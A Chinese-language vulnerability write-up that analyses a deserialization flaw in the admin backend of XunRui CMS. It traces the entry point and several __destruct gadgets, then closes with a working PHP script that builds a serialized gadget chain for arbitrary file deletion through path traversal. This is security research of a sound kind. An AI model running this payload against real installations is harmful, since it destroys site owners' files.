记一次项目中迅睿CMS反序列化漏洞挖掘

影响版本

version<=2023-06-24(目前最新版)

环境搭建

官网自行下载安装迅睿CMS

代码分析

漏洞触发点在后台并且新版安装后的后台地址为admin+md5(随机数),没啥用。

image-20230625163603380

image-20230625162654870

反序列化触发点

dayrui/Fcms/Core/Helper.php

注意: 这里使用了stripslashes()函数进行过滤,为了正确地进行反序列化操作,需要对传入的字符串 “xxx\aaa” 进行修改,将其变为 “xxx\\aaa”。

image-20230625164706872

漏洞入口点

后台很多调用dr_string2array()方法,并且没有进行参数过滤。 这里随便找了一个。

dayrui/Fcms/Control/Admin/Field.php

分析下这段代码,首先\Phpcmf\Service::L(‘input’)->post(‘code’)该代码通过调用Input.php文件里定义的Input类的post()函数,在接收到post请求且存在key为code时进行xss过滤并返回。

image-20230625165442107

image-20230625170156424

分析利用链,这里只有5个__destruct()不多一个个看。

image-20230625170536372

__destruct利用地址1:

dayrui/CodeIgniter/System/Email/Email.php

由于这里is_resource()是判断是否为资源类型,无法绕过Pass掉。

image-20230625170643542

__destruct利用地址2:

dayrui/Fcms/Library/Tree.php无法触发魔术函数Pass掉。

image-20230625172007075

__destruct利用地址3:

dayrui/CodeIgniter/System/Cache/Handlers/MemcachedHandler.php 后续跟了下无法深度利用,暂时不看。

image-20230625172151886

__destruct利用地址4:

dayrui/CodeIgniter/System/Cache/Handlers/RedisHandler.php

这里就有很多路线可走,这里就直接分析挖好的利用链,所有方法看完了都没找到命令执行和文件写入就是太菜了,只找到了一个文件删除垃圾链。

image-20230625172244985

这里相当于redis可控,只要找到一个类有close()方法就可以继续往下走,或者找一个类不存在close()方法从而触发__call由于分析走__call没找到特别好用的就不分析了。

这里找到dayrui/CodeIgniter/System/Session/Handlers/MemcachedHandler.php相当于memcachedlockKey可控。继续往下在找

image-20230626154902737

image-20230626154037148

这里找到了dayrui/CodeIgniter/System/Cache/Handlers/FileHandler.php,首先将传入的key、prefix参数传入到validateKey静态方法中,这里key、prefix都可控。

image-20230626154424756

这里判断传入的key是否为字符串类型和不为空,最后将keyprefix拼接判断长度是否超过了最大键长度,如果没有返回拼接后的值。 之前说了key、prefix都可控而key是由lockKey进行赋值,例如lockKey = ".php",prefix = "api";–>api.php

image-20230626155240048

image-20230626155631159

最后将pathkey进行拼接判断对应的文件是否存在,如果存在则删除该文件。一个完整的文件删除利用链构造成功。

image-20230626155731009

利用链 任意文件删除

php7.1+反序列化对类属性不敏感,正好环境需要php7.4以上才能安装所以都写成public也不太影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

namespace CodeIgniter\Cache\Handlers;
class FileHandler
{
public $prefix;
public $path;

public function __construct()
{
$this->prefix = "api";
$this->path = "../../../../1/";
}
}

namespace CodeIgniter\Session\Handlers;

class MemcachedHandler
{
public $memcached;
public $lockKey;

public function __construct()
{
$this->lockKey = ".php";
$this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler();
}
}

namespace CodeIgniter\Cache\Handlers;


class RedisHandler
{
public $redis;

public function __construct()
{
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
}
}

var_dump((serialize(new RedisHandler())));

image-20230626161318185

image-20230626161302226